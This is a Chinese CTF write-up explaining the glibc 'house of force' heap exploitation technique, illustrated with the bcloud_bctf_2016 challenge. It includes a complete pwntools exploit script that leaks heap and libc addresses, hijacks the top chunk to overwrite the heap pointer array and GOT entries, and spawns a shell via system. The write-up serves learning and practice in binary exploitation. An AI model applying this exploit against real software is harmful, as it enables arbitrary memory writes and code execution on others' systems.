堆利用之house of force

house of force 是一种堆的利用手法,可以实现内存地址的读写。

top chunk 的分割机制

top chunk 是堆内存管理器的后备空间,当各 bin 中没有 chunk 可以提供时,top chunk 会分割出一个 chunk 给用户,下面给出分割过程的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
victim = av->top;
size = chunksize(victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
  1. 首先是 libc 会检查用户申请的大小,top chunk 给不给得起;
  2. 如果给得起,就在 top chunk 的 head 处,以用户申请大小所匹配的 chunk 大小为偏移量,将 top chunk 的位置推到新的位置,而原来的 top chunk head 处就作为新的堆块被分配给用户了;

如果我们能控制 top chunk 在这个过程中偏移到任意位置,也就是说,如果我们能控制用户申请的大小为任意值,我们就能将 top chunk 劫持到任意内存地址,然后就可以控制目标内存。


简言之

  1. 溢出已经分配的 chunk,覆盖到 top chunk 的 size 位;
  2. 算出 top chunk 与目标地址的距离,将 top chunk 位置推到目标地址

溢出 top chunk

当我们 malloc 一个堆块,此堆块的下一个就是 top chunk 时,当我们输入的数据大小能够超过申请的大小,就能堆溢出到 top chunk,当我们将 top chunk 的 size 字段改得非常大时就可以通过检查了,一般我们会传入 -1 ,因为 ptmalloc 的源码中对于 size 使用 unsigned long 进行强转抓换,负数用补码表示,将 -1 当成无符号数为 0xffffffffffffffff ,已经非常大了,用于绕过 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 验证。

例题

buu 上的 bcloud_bctf_2016

程序开的保护如下

本题最大的漏洞就在这两个函数中

image-20211101162129641

func1

s 处输入 0x40 个字符能够覆盖到指针 v2 ,之后的堆地址又赋给了 v2 ,意味着 v2 处 s 的 0截断字符 被覆盖成了堆指针,从而在 strcpy 处可以泄露处可以泄露出堆地址

image-20211101163008961

func2

也是同理,并且因为 v3 和 s 只相差 4 个字符的缘故,可以修改到 top chunk 的 size 位

image-20211101162927102

由于程序没有开 pie ,因此地址之间的偏移可以直接算出来,达到了 house of force 的条件,计算出 top chunk 和 chunk_addr (heap array) 的地址,就可以将 top chunk 指针 指向 heap array 从而控制整个堆指针数组,实现任意地址的读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import*
context.log_level = 'debug'
#p = process('./main')
p = remote('node4.buuoj.cn','27866')
elf = ELF('./main')
#libc = ELF('2.23/libc.so.6')
libc = ELF('libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']

def add(leng,con):
p.sendline('1')
p.sendlineafter(':',str(leng))
p.sendlineafter(':',con)

def show():
p.sendlineafter('>>','2')

def edit(idx,con):
p.sendlineafter('>>','3')
p.sendlineafter(':',str(idx))
p.sendlineafter(':',con)

def dele(idx):
p.sendlineafter('>>','4')
p.sendlineafter(':',str(idx))

p.sendafter('name:','a'*0x40)
p.recvuntil('a'*0x40)
leak = u32(p.recv(4))
print "leak:" + hex(leak)
p.sendafter('Org:','b'*0x40)
p.sendlineafter('Host:',p32(0xFFFFFFFF))#修改top chunk的size
top_chunk = leak + 0xd0
print "top_chunk: " + hex(top_chunk)
chunk_addr = 0x0804B120
offset = chunk_addr - top_chunk - 0x10
add(offset,' ')#0

#现在top chunk移到了heap_array_addr-0x8处,我们可以控制heap_array了
add(0x18,'a')#1

#修改heap_array
edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
#修改free的got表为puts的plt表
edit(1,p32(puts_plt) + '\n')
#泄露puts的地址
dele(2)
leak = u32(p.recvuntil('\xf7')[-4:])
print "puts_got: " + hex(leak)
libcbase = leak - libc.sym['puts']
print "libcbase: " + hex(libcbase)
system = libcbase + libc.sym['system']
edit(1,p32(system))
dele(3)
#gdb.attach(p)

p.interactive()

参考链接

https://blog.csdn.net/haibiandaxia/article/details/108260537

https://blog.csdn.net/seaaseesa/article/details/105588058